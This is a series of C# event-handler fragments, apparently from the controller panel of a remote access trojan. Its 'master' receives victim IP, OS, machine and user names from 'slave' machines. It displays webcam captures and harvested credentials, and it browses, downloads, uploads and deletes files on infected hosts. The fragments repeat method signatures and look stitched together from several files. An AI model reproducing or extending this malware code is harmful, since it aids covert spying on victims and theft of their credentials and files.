/// <summary> /// /// </summary> /// <param name="ev"></param> public override async void OnEvent(SlaveEvent ev) { base.OnEvent(ev); await this.ExecuteInDispatcher(() => { switch ((SlaveEventType)ev.EventType) { case SlaveEventType.IncommingMessage: { ev.Data.Match().With <WebcamCaptureMessage>(UpdateScreenCapture); break; } } }); }
/// <summary> /// /// </summary> /// <param name="ev"></param> public void OnEvent(SlaveEvent ev) { switch ((SlaveEventType)ev.EventType) { case SlaveEventType.IncommingMessage: { ev.Data.Match() .With <GreetTheMasterMessage>(m => { if (ev.Source.Initialize(m.Ip, m.OperatingSystem, m.MachineName, m.UserName)) { FireSlaveConnected(ev.Source); } }) .With <PongMessage>(m => ev.Source.DecrementPingTimeout()); break; } } }
/// <summary> /// /// </summary> /// <param name="ev"></param> public override async void OnEvent(SlaveEvent ev) { base.OnEvent(ev); await this.ExecuteInDispatcher(() => { switch ((SlaveEventType)ev.EventType) { case SlaveEventType.IncommingMessage: { ev.Data.Match() .With <CredentialsMessage>(message => { CredentialsList.ItemsSource = message.Credentials.Select(c => c.Dictionary).ToArray(); }); break; } } }); }
/// <summary> /// /// </summary> /// <param name="ev"></param> public override async void OnEvent(SlaveEvent ev) { base.OnEvent(ev); await this.ExecuteInDispatcher(() => { switch ((SlaveEventType)ev.EventType) { case SlaveEventType.IncommingMessage: { ev.Data.Match() .With <FolderNavigationMessage>(m => { TxtBoxDirectory.Text = m.Path; ViewModelFiles.Items.Clear(); m.Files.ForEach(ViewModelFiles.AddItem); }) .With <DownloadedFilePartMessage>(m => { UpdateCommand(m, command => { command.Completed = m.CurrentPart >= m.TotalPart; command.UpdateProgression(m.CurrentPart + 1, m.TotalPart); }); }) .With <UploadProgressMessage>(m => { // will be received when the slave download the file UpdateCommand(m, command => { command.Completed = m.Percentage == -1; if (!command.Completed) { command.UpdateProgression(m.Percentage, 100); } }); }) .With <FileDeletionMessage>(m => NavigateToTypedFolder()); break; } } }); }
/// <summary> /// /// </summary> /// <param name="ev"></param> public static void PostEvent(SlaveEvent ev) => SlaveEvents.PostEvent(ev);